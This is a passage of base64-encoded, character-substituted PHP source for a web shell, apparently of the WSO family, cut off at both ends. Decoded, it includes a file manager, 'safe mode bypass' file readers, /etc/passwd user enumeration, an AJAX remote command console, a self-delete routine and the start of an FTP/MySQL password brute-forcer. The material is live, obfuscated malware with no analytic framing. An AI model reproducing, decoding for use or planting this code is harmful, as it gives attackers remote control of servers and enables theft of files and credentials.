C8xPiAnOyANCiAgICA1Y2gyICc8YnI+PGJyPic7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsgDQogICAgICAgIGMxczUgJ3Y0NXcnOiANCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7IA0KICAgICAgICAgICAgICAgIEBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPC9wcjU+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6IA0KICAgICAgICAgICAgNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7IA0KICAgICAgICAgICAgICAgICRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsgDQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdjaG0yZCc6IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkcDVybXMgPSAwOyANCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KSANCiAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsgDQogICAgICAgICAgICAgICAgNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7IA0KICAgICAgICAgICAgNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJzVkNHQnOiANCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsgDQogICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwidyIpOyANCiAgICAgICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgICAgIEBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgICAgICAgICAgICAgICAgIEB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsgDQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOyANCiAgICAgICAgICAgIDRmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aDRsNSggIUBmNTJmKCRmcCkgKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsgDQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSAnaDV4ZDNtcCc6IA0KICAgICAgICAgICAgJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7IA0KICAgICAgICAgICAgJGw1biA9IHN0cmw1bigkYyk7IA0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7IA0KICAgICAgICAgICAgICAgICRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7IA0KICAgICAgICAgICAgICAgIHN3NHRjaCAoIDJyZCgkY1skNF0pICkgeyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7IA0KICAgICAgICAgICAgICAgICAgICBjMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJG4rKzsgDQogICAgICAgICAgICAgICAgNGYgKCRuID09IG9hKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fSANCiAgICAgICAgICAgICAgICAgICAgJGhbNl0gLj0gJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgJGhbYV0gLj0gIlxuIjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdyNW4xbTUnOiANCiAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsgDQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsgDQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ3QyM2NoJzogDQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgIDRmKCR0NG01KSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdGMTRsISc7IA0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdUMjNjaDVkISc7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgY2w1MXJzdDF0YzFjaDUoKTsgDQogICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsgDQogICAgJHQ1bXA9Jyc7IA0KICAgIDJiX3N0MXJ0KCk7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgIGMxczUgNjogDQogICAgICAgICAgICAkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7IA0KICAgICAgICAgICAgNGYoQGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsncGEnXSwgJHQ1bXApKXsgDQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOyANCiAgICAgICAgICAgICAgICAzbmw0bmsoJHQ1bXApOyANCiAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJ1MycnJ5Li4uIEMxblwndCAycDVuIGY0bDUnOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSBhOiANCiAgICAgICAgICAgICRmNGw1cyA9IGdsMmIoJF9QT1NUWydwYSddLicqJyk7IA0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkZjRsNW4xbTUuIlxuIjsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgbzogDQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoImY0bDU6Ly8iLiRfUE9TVFsncGEnXS4iXHgwMCIucHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSk7IA0KICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IHU6IA0KICAgICAgICAgICAgNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOyANCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsgDQogICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IGk6IA0KICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7IA0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsgDQogICAgICAgICAgICAgICAgNGYgKCQzNGQpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICB9IA0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7IA0KICAgIDVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgNGYoJHQ1bXApIA0KICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy5odG1sc3A1YzQxbGNoMXJzKCR0NW1wKS4nPC9wcjU+JzsgDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgeyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1OyANCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7IA0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsgDQogIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsgDQogICAgICAgICR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpIHsgDQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgeyANCiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7IA0KICAgICAgICAgICAgICAgIDVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIDVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOyANCiAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7IA0KICAgICAgICAkdDVtcCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIjxzY3I0cHQ+IA0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsgDQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7IA0KdjFyIGMzciA9IDA7IA0KZjNuY3Q0Mm4ga3AoNSkgeyANCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsgDQogICAgNGYobiA9PSBvOCkgeyANCiAgICAgICAgYzNyLS07IA0KICAgICAgICA0ZihjM3I+PTApIA0KICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyKys7IA0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7IA0KICAgICAgICBjM3IrKzsgDQogICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKSANCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzci0tOyANCiAgICB9IA0KfSANCmYzbmN0NDJuIDFkZChjbWQpIHsgDQogICAgY21kcy5wMnAoKTsgDQogICAgY21kcy5wM3NoKGNtZCk7IA0KICAgIGNtZHMucDNzaCgnJyk7IA0KICAgIGMzciA9IGNtZHMubDVuZ3RoLTY7IA0KfSANCiAgDQo8L3NjcjRwdD4iOyANCiAgICA1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7IA0KICAgIGYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgeyANCiAgICAgICAgNGYoJHYgPT0gJycpIHsgDQogICAgICAgICAgICA1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7IA0KICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7IA0KICAgIDVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVggPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zaDJ3XzVycjJycyB2MWwzNT02ICcuKCE1bXB0eSgkX1BPU1RbJ3BhJ10pfHwkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgIDVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7IA0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOyANCiAgICBkNDUoJ2J5NSEnKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7IA0KICANCiAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpIA0KICAgICAgICA0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKSANCiAgICAgICAgICAgIGQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgNWNoMiAnM25sNG5rIDVycjJyISc7IA0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykgDQogICAgICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgeyANCiAgICAgICAgNWNoMiAnPGg2PlI1czNsdHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3Axbj5UeXA1Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj5TNXJ2NXI6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzNXJ2NXInXSkuJzxicj4nOyANCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsgDQogICAgICAgICAgICBmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsgDQogICAgICAgICAgICAgICAgJGZwID0gQGZ0cF9jMm5uNWN0KCQ0cCwgJHAycnQ/JHAycnQ6YTYpOyANCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7IA0KICAgICAgICAgICAgICAgICRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7IA0KICAgICAgICAgICAgICAgIEBmdHBfY2wyczUoJGZwKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAnbXlzcWwnICkgeyANCiAgICAgICAgICAgIGYzbmN0ND